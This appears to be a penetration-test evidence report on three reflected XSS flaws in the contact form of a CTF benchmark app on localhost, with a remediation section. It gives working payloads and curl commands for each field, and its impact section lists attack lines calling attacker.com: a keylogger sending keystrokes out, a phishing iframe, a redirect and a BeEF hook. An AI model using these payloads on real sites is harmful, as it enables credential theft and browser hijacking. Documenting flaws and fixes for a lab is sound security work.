# Cross-Site Scripting (XSS) Exploitation Evidence

## Successfully Exploited Vulnerabilities

### XSS-VULN-01: Contact Form Name Field - Reflected XSS

**Summary:**
- **Vulnerable location:** `http://localhost:34461/contact.php` - POST parameter `name`
- **Overview:** User-supplied input in the contact form's name field is reflected into an HTML input value attribute without any encoding, allowing attackers to break out of the attribute context and inject arbitrary JavaScript
- **Impact:** JavaScript execution in victim's browser enabling phishing attacks, defacement, and malicious script execution
- **Severity:** High

**Prerequisites:**
- Access to `http://localhost:34461/contact.php`
- Ability to submit HTTP POST requests (can be via browser or curl)
- Victim must submit the form (or attacker can craft a social engineering attack)

**Exploitation Steps:**

1. **Navigate to the contact form:**
   ```
   Open browser to: http://localhost:34461/contact.php
   ```

2. **Fill in the form with XSS payload in the name field and leave another field empty to trigger validation error:**
   - **Name field:** `"><img src=x onerror=alert('XSS-VULN-01-CONFIRMED')>`
   - **Email field:** (leave empty to trigger validation error)
   - **Message field:** `test message`

3. **Submit the form:**
   Click the "Submit" button or press Enter

4. **Observe JavaScript execution:**
   An alert dialog appears with the message "XSS-VULN-01-CONFIRMED"

**Alternative exploitation via curl:**
```bash
curl -X POST http://localhost:34461/contact.php \
  --data-urlencode 'name="><img src=x onerror=alert(1)>' \
  --data-urlencode 'email=' \
  --data-urlencode 'message=test'
```

**Proof of Impact:**

The XSS payload successfully broke out of the HTML attribute context and injected an img tag with an onerror event handler. The rendered HTML shows:

```html
<input type="text" name="name" class="form-control" value=""><img src="x" onerror="alert('XSS-VULN-01-CONFIRMED')>">
```

JavaScript execution was confirmed through:
- Alert dialog appearing in browser with message "XSS-VULN-01-CONFIRMED"
- Visual evidence captured in screenshot showing broken image icon and `">` text on page
- HTML inspection confirming the img tag was injected outside the input element

**Screenshots:**
- Evidence captured: `xss-vuln-01-evidence.png`
- Shows broken image icon visible on page
- Shows validation error "Please enter your email address" confirming form was re-displayed with injected payload

**Notes:**
The vulnerability only triggers when form validation fails (at least one field must be empty), causing the form to be re-rendered with the attacker's payload. When all fields are filled correctly, the application displays a success message instead, preventing the XSS from executing. This is still exploitable through social engineering or by an attacker who controls when the victim submits the form.

---

### XSS-VULN-02: Contact Form Email Field - Reflected XSS

**Summary:**
- **Vulnerable location:** `http://localhost:34461/contact.php` - POST parameter `email`
- **Overview:** User-supplied input in the contact form's email field is reflected into an HTML input value attribute without encoding, identical vulnerability pattern to XSS-VULN-01
- **Impact:** JavaScript execution in victim's browser
- **Severity:** High

**Prerequisites:**
- Access to `http://localhost:34461/contact.php`
- Ability to submit HTTP POST requests

**Exploitation Steps:**

1. **Navigate to the contact form:**
   ```
   Open browser to: http://localhost:34461/contact.php
   ```

2. **Inject XSS payload in email field via JavaScript form submission (to ensure validation error):**
   ```javascript
   document.querySelector('input[name="email"]').value = '"><img src=x onerror=alert(\'XSS-VULN-02-CONFIRMED\')>';
   document.querySelector('textarea[name="message"]').value = 'test';
   // Leave name empty to trigger validation error
   document.querySelector('form').submit();
   ```

3. **Observe JavaScript execution:**
   An alert dialog appears with the message "XSS-VULN-02-CONFIRMED"

**Alternative exploitation via curl:**
```bash
curl -X POST http://localhost:34461/contact.php \
  --data-urlencode 'name=' \
  --data-urlencode 'email="><img src=x onerror=alert(2)>' \
  --data-urlencode 'message=test'
```

**Proof of Impact:**

The XSS payload successfully broke out of the email input's value attribute. The rendered HTML shows:

```html
<input type="email" name="email" class="form-control" value=""><img src=x onerror=alert(2)>">
```

JavaScript execution was confirmed through:
- Alert dialog appearing with message "XSS-VULN-02-CONFIRMED"
- HTML inspection showing the img tag injected outside the input element
- Visual evidence showing broken image icon and `">` text below the email field

**Screenshots:**
- Evidence captured: `xss-vuln-02-evidence.png`
- Shows broken image icon visible below the email field
- Shows validation error "Please enter your name" confirming validation error triggered

**Notes:**
The HTML5 `type="email"` attribute provides only client-side validation and does not prevent XSS attacks when submitting via curl or programmatic form submission. The server-side validation only checks if the field is empty (using `trim()` and `empty()`) but performs no sanitization or output encoding.

---

### XSS-VULN-03: Contact Form Message Field - Reflected XSS

**Summary:**
- **Vulnerable location:** `http://localhost:34461/contact.php` - POST parameter `message`
- **Overview:** User-supplied input in the contact form's message field is reflected into a textarea element's body content without encoding, allowing attackers to close the textarea tag and inject arbitrary HTML/JavaScript
- **Impact:** JavaScript execution in victim's browser
- **Severity:** High

**Prerequisites:**
- Access to `http://localhost:34461/contact.php`
- Ability to submit HTTP POST requests

**Exploitation Steps:**

1. **Navigate to the contact form:**
   ```
   Open browser to: http://localhost:34461/contact.php
   ```

2. **Inject XSS payload in message field that closes the textarea tag:**
   ```javascript
   document.querySelector('input[name="email"]').value = 'test@example.com';
   document.querySelector('textarea[name="message"]').value = '</textarea><img src=x onerror=alert(\'XSS-VULN-03-CONFIRMED\')><textarea>';
   // Leave name empty to trigger validation error
   document.querySelector('form').submit();
   ```

3. **Observe JavaScript execution:**
   An alert dialog appears with the message "XSS-VULN-03-CONFIRMED"

**Alternative exploitation via curl:**
```bash
curl -X POST http://localhost:34461/contact.php \
  --data-urlencode 'name=TestUser' \
  --data-urlencode 'email=' \
  --data-urlencode 'message=</textarea><img src=x onerror=alert(3)><textarea>' \
  -s
```

**Proof of Impact:**

The XSS payload successfully closed the textarea element and injected an img tag. The rendered HTML shows:

```html
<textarea name="message" class="form-control"></textarea><img src=x onerror=alert(3)><textarea></textarea>
```

JavaScript execution was confirmed through:
- Alert dialog appearing with message "XSS-VULN-03-CONFIRMED"
- Visual evidence showing broken image icon and an extra empty textarea box on the page
- HTML inspection confirming the original textarea was closed, img tag injected, and a new empty textarea opened

**Screenshots:**
- Evidence captured: `xss-vuln-03-evidence.png`
- Shows broken image icon between message label and an extra textarea element
- Shows email field populated with "test@example.com" and name field showing validation error

**Notes:**
This vulnerability differs from XSS-VULN-01 and XSS-VULN-02 in that it exploits an HTML_BODY context (textarea content) rather than an HTML_ATTRIBUTE context (input value). The attack requires closing the textarea tag using `</textarea>` before injecting the malicious payload. The extra empty `<textarea>` in the payload helps maintain valid HTML structure and prevents rendering issues.

---

## Impact Assessment

### Limitations in This Environment

While all three XSS vulnerabilities were successfully exploited with confirmed JavaScript execution, the practical impact is limited by several factors specific to this application:

1. **No Session Cookies:** The application has no authentication system and sets no cookies, eliminating traditional cookie theft attacks via `document.cookie`

2. **No Sensitive Data in DOM:** No flag data, credentials, or sensitive information exists in the DOM, localStorage, or sessionStorage

3. **Reflected (Not Stored) XSS:** All vulnerabilities are reflected XSS, requiring the victim to submit the malicious payload themselves or be tricked into doing so

4. **Validation Error Requirement:** XSS only triggers when form validation fails (at least one field must be empty), adding a constraint to exploitation

### Potential Impact Despite Limitations

Despite these constraints, the XSS vulnerabilities still present significant security risks:

**Phishing Attacks:**
An attacker could inject a convincing fake login form or overlay to harvest credentials:
```html
"><iframe src="https://attacker.com/phish.html" style="position:fixed;top:0;left:0;width:100%;height:100%;border:0;">
```

**Defacement:**
The attacker could modify page content to damage reputation or spread misinformation

**Keylogger Injection:**
Capture all keystrokes on the page and exfiltrate to attacker server:
```javascript
"><script>document.onkeypress=function(e){fetch('http://attacker.com/log?k='+e.key)}</script>
```

**Redirect to Malicious Site:**
```javascript
"><script>window.location='http://attacker.com/malware'</script>
```

**Browser Exploitation:**
Load external attack frameworks like BeEF (Browser Exploitation Framework):
```javascript
"><script src="http://attacker.com:3000/hook.js"></script>
```

### CTF Context

In a CTF environment, these XSS vulnerabilities could potentially be chained with other vulnerabilities (such as the LFI vulnerability in `/post.php`) for more complex attack scenarios like log poisoning. However, the flag is stored in `/FLAG.php` on the server filesystem, which is not accessible via XSS alone.

---

## Remediation Summary

All three vulnerabilities stem from the same root cause: **user input is echoed back without proper output encoding** in the contact form at `/app/website/contact.php`.

**Required Fix (Lines 66, 71, 76 in contact.php):**

```php
// Line 66 - Name field (CURRENT - VULNERABLE):
<input type="text" name="name" class="form-control" value="<?php echo $name; ?>">

// Line 66 - Name field (FIXED):
<input type="text" name="name" class="form-control" value="<?php echo htmlspecialchars($name, ENT_QUOTES, 'UTF-8'); ?>">

// Line 71 - Email field (CURRENT - VULNERABLE):
<input type="email" name="email" class="form-control" value="<?php echo $email; ?>">

// Line 71 - Email field (FIXED):
<input type="email" name="email" class="form-control" value="<?php echo htmlspecialchars($email, ENT_QUOTES, 'UTF-8'); ?>">

// Line 76 - Message field (CURRENT - VULNERABLE):
<textarea name="message" class="form-control"><?php echo $message; ?></textarea>

// Line 76 - Message field (FIXED):
<textarea name="message" class="form-control"><?php echo htmlspecialchars($message, ENT_QUOTES, 'UTF-8'); ?></textarea>
```

**Additional Security Hardening Recommended:**

1. **Implement Content Security Policy (CSP):**
   ```
   Content-Security-Policy: default-src 'self'; script-src 'self' cdn.jsdelivr.net; style-src 'self' cdn.jsdelivr.net 'unsafe-inline'; img-src 'self' data:; object-src 'none';
   ```

2. **Add Input Validation (Defense in Depth):**
   - Validate name contains only letters, spaces, hyphens, apostrophes
   - Validate email format using `filter_var($email, FILTER_VALIDATE_EMAIL)`
   - Enforce length limits on all fields

3. **Consider CSRF Protection:**
   Implement CSRF tokens to prevent automated exploitation

---

**Exploitation Completed By:** XSS Exploitation Specialist  
**Date:** 2025-10-31  
**Target Application:** Encoder64 Blog (XBEN-079-24)  
**Target URL:** http://localhost:34461  
**All Vulnerabilities:** Successfully Exploited with JavaScript Execution Confirmed
